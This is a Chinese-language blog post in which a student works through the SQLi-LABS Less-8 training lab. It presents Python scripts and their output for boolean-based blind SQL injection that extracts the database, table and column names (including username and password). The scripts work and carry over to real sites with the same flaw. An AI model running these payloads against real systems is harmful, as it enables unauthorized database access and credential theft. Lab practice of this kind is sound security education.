标签搜索

SQLi-LABS less-8

小七
2023-01-03 / 0 评论 / 167 阅读 / 正在检测是否收录...


这段时间刚好在学网络安全相关,现在学到SQL注入,通过SQLi-LABS靶场来闯关。在less-8的时候,老师讲了一个通过Python来查到数据库名的目的,我自己尝试一下(没有系统学习过Python)。所以自己顺着思路来写一个。


首先通过各种尝试,已经知道了他是单引号闭合方式。

因为有同学和我一起学习,所以我搭建的靶场是放在我的云服务器的,不方便展示,所以需要自行替换

import requests

header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; win64; x64;rv:94.0)Gecko/2010c101 Firefox/94.0",
    "Accept-Language": "zh-CN,zh; q=0.9",
    "Accept": "text/html,application/xhtml+xml,application/xml; q=0.9, image/avif , image/webp,*/*;q=0.8"
}

url = "http://111.111.111.111/Less-8/?id=1"
zhengque = requests.get(url, headers=header)

get_length_payload = "' and length(database())={} --+"
db_length = 0
for x in range(1, 20):
    exec_url = url + get_length_payload.format(x)
    exec_text = requests.get(exec_url, headers=header)
    if exec_text.text == zhengque.text:
        print("数据库名长度为:", x)
        db_length = x
        break
    if x == 20:
        print("数据库名超过19位!请修改程序!")

zidian = "qwertyuiopasdfghjklzxcvbnm_-!@#$%^&*()=+0123456789."
db_name = ""
get_name_payload = "' and substr(database(),{},1) = '{}' --+"
for i in range(1, db_length + 1):
    for char in zidian:
        exec_url = url + get_name_payload.format(i, char)
        exec_text = requests.get(exec_url, headers=header)
        if exec_text.text == zhengque.text:
            print("数据库第", i, "个字符为:", char)
            db_name = db_name + char
            break
        if char == ".":
            db_name = db_name + char
            print("字典里面没有第", i, "个字符,请重新定义字典,在最终的显示为.")

print("最终得到的数据库名为:", db_name)

思路非常简单,首先是来判断数据库长度为多少,一般数据库长度不大于20,所以我这里直接写到最多20位。如果最后没有输出,请自行修改到更大的数值
得到位数之后,我们写一个字典,字典里面采用常用的字母数字符号等,由于数据库名不分大小写,所有这里只用添加小写字母

于是得到以下输出结果:
数据库名长度为: 8
数据库第 1 个字符为: s
数据库第 2 个字符为: e
数据库第 3 个字符为: c
数据库第 4 个字符为: u
数据库第 5 个字符为: r
数据库第 6 个字符为: i
数据库第 7 个字符为: t
数据库第 8 个字符为: y
最终得到的数据库名为: security

得到数据库之后开始查询表名,将上面的代码修改一下,即可得到表名。

# 已知数据库名,判断列名
import requests

header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; win64; x64;rv:94.0)Gecko/2010c101 Firefox/94.0",
    "Accept-Language": "zh-CN,zh; q=0.9",
    "Accept": "text/html,application/xhtml+xml,application/xml; q=0.9, image/avif , image/webp,*/*;q=0.8"
}

url = "http://111.111.111.111/Less-8/?id=1"
zhengque = requests.get(url, headers=header)

get_length_payload = "' and length((select table_name from information_schema.TABLES where " \
                     "TABLE_SCHEMA='security' limit 0,1))={} --+ "
db_length = 0
for x in range(1, 20):
    exec_url = url + get_length_payload.format(x)
    exec_text = requests.get(exec_url, headers=header)
    if exec_text.text == zhengque.text:
        print("数据库名长度为:", x)
        db_length = x
        break
if db_length == 0:
    print("数据库表名长度超过20,请重新定义!")
else:
    zidian = "qwertyuiopasdfghjklzxcvbnm_-!@#$%^&*()=+0123456789."
    db_name = ""
    db_get = 1

    get_name_payload = "' and substr((select table_name from information_schema.TABLES where " \
                       "TABLE_SCHEMA='security' limit 0,1),{},1) = '{}' --+ "
    for i in range(1, db_length + 1):
        for char in zidian:
            exec_url = url + get_name_payload.format(i, char)
            exec_text = requests.get(exec_url, headers=header)
            if exec_text.text == zhengque.text:
                print("数据库表名第", i, "个字符为:", char)
                db_name = db_name + char
                break
            if char == ".":
                db_name = db_name + char
                db_get = 0
                print("字典里面没有第", i, "个字符,请重新定义字典,在最终的显示为.")
    print("最终得到的数据库表名为:", db_name)

得到下面的结果:
数据库名长度为: 6
数据库第 1 个字符为: e
数据库第 2 个字符为: m
数据库第 3 个字符为: a
数据库第 4 个字符为: i
数据库第 5 个字符为: l
数据库第 6 个字符为: s
最终得到的数据库名为: emails

就按照上面的代码,修改limit 0,1 为 limit 1,1 limit 1,2 即可查询这个数据库下面的表名。

最终得到的表名为:emails referers uagents users

刚学一个函数:group_concat() 一次性输出所有的表名。于是就有了下面的代码

# 已知数据库名,判断列名
import requests

header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; win64; x64;rv:94.0)Gecko/2010c101 Firefox/94.0",
    "Accept-Language": "zh-CN,zh; q=0.9",
    "Accept": "text/html,application/xhtml+xml,application/xml; q=0.9, image/avif , image/webp,*/*;q=0.8"
}

url = "http://111.111.111.111/Less-8/?id=1"
zhengque = requests.get(url, headers=header)

get_length_payload = "' and length((select group_concat(table_name) from information_schema.TABLES where " \
                     "TABLE_SCHEMA='security' ))={} --+ "
db_length = 0
for x in range(1, 80):
    exec_url = url + get_length_payload.format(x)
    exec_text = requests.get(exec_url, headers=header)
    if exec_text.text == zhengque.text:
        print("数据库名长度为:", x)
        db_length = x
        break
if db_length == 0:
    print("数据库表名长度超过80,请重新定义!")
else:
    zidian = "qwertyuiopasdfghjklzxcvbnm_-!,@#$%^&*()=+0123456789."
    db_name = ""
    db_get = 1

    get_name_payload = "' and substr((select group_concat(table_name) from information_schema.TABLES where " \
                       "TABLE_SCHEMA='security' ),{},1) = '{}' --+ "
    for i in range(1, db_length + 1):
        for char in zidian:
            exec_url = url + get_name_payload.format(i, char)
            exec_text = requests.get(exec_url, headers=header)
            if exec_text.text == zhengque.text:
                print("数据库第", i, "个字符为:", char)
                db_name = db_name + char
                break
            if char == ".":
                db_name = db_name + char
                db_get = 0
                print("字典里面没有第", i, "个字符,请重新定义字典,在最终的显示为.")
    print("最终得到的数据库表名为:", db_name, "所有表名由逗号分割")

得到以下结果:
数据库名长度为: 29
数据库第 1 个字符为: e
数据库第 2 个字符为: m
数据库第 3 个字符为: a
数据库第 4 个字符为: i
数据库第 5 个字符为: l
数据库第 6 个字符为: s
数据库第 7 个字符为: ,
数据库第 8 个字符为: r
数据库第 9 个字符为: e
数据库第 10 个字符为: f
数据库第 11 个字符为: e
数据库第 12 个字符为: r
数据库第 13 个字符为: e
数据库第 14 个字符为: r
数据库第 15 个字符为: s
数据库第 16 个字符为: ,
数据库第 17 个字符为: u
数据库第 18 个字符为: a
数据库第 19 个字符为: g
数据库第 20 个字符为: e
数据库第 21 个字符为: n
数据库第 22 个字符为: t
数据库第 23 个字符为: s
数据库第 24 个字符为: ,
数据库第 25 个字符为: u
数据库第 26 个字符为: s
数据库第 27 个字符为: e
数据库第 28 个字符为: r
数据库第 29 个字符为: s
最终得到的数据库表名为: emails,referers,uagents,users 所有表名由逗号分割

得到数据库表名,就开始得到每个表里面的列名。
代码都差不多,直接一招鲜,修改一小部分。

# 已知数据库名,表名,获取里面的列
import requests

header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; win64; x64;rv:94.0)Gecko/2010c101 Firefox/94.0",
    "Accept-Language": "zh-CN,zh; q=0.9",
    "Accept": "text/html,application/xhtml+xml,application/xml; q=0.9, image/avif , image/webp,*/*;q=0.8"
}

url = "http://111.111.111.111/Less-8/?id=1"
zhengque = requests.get(url, headers=header)

get_length_payload = "' and length((select group_concat(column_name) from information_schema.columnS where " \
                     "TABLE_SCHEMA='security' and table_name='users'))={} --+ "
db_length = 0
for x in range(1, 80):
    exec_url = url + get_length_payload.format(x)
    exec_text = requests.get(exec_url, headers=header)
    if exec_text.text == zhengque.text:
        print("数据库名长度为:", x)
        db_length = x
        break
if db_length == 0:
    print("数据库表名长度超过80,请重新定义!")
else:
    zidian = "qwertyuiopasdfghjklzxcvbnm_-!,@#$%^&*()=+0123456789."
    db_name = ""
    db_get = 1

    get_name_payload = "' and substr((select group_concat(column_name) from information_schema.columnS where " \
                       "TABLE_SCHEMA='security' and table_name='users'),{},1) = '{}' --+ "
    for i in range(1, db_length + 1):
        for char in zidian:
            exec_url = url + get_name_payload.format(i, char)
            exec_text = requests.get(exec_url, headers=header)
            if exec_text.text == zhengque.text:
                print("数据库第", i, "个字符为:", char)
                db_name = db_name + char
                break
            if char == ".":
                db_name = db_name + char
                db_get = 0
                print("字典里面没有第", i, "个字符,请重新定义字典,在最终的显示为.")
    print("最终得到的数据库表名为:", db_name, "所有表名由逗号分割")

下面为输出结果:
数据库名长度为: 20
数据库第 1 个字符为: i
数据库第 2 个字符为: d
数据库第 3 个字符为: ,
数据库第 4 个字符为: u
数据库第 5 个字符为: s
数据库第 6 个字符为: e
数据库第 7 个字符为: r
数据库第 8 个字符为: n
数据库第 9 个字符为: a
数据库第 10 个字符为: m
数据库第 11 个字符为: e
数据库第 12 个字符为: ,
数据库第 13 个字符为: p
数据库第 14 个字符为: a
数据库第 15 个字符为: s
数据库第 16 个字符为: s
数据库第 17 个字符为: w
数据库第 18 个字符为: o
数据库第 19 个字符为: r
数据库第 20 个字符为: d
最终得到的数据库表名为: id,username,password 所有表名由逗号分割

就这样得到了user表下面的列:id,username,password
同理可得:
emails下列名:id,email_id
referers下列名:id,referer,ip_address
uagents下列名:id,uagent,ip_address,username


代码可优化部分:可以将里面重复使用的部分封装为函数。得到数据库表名之后可以进行多线程访问,查询列名。可以将三个代码部门合并为一个脚本。

2

打赏

海报

正在生成.....

评论 (0)

取消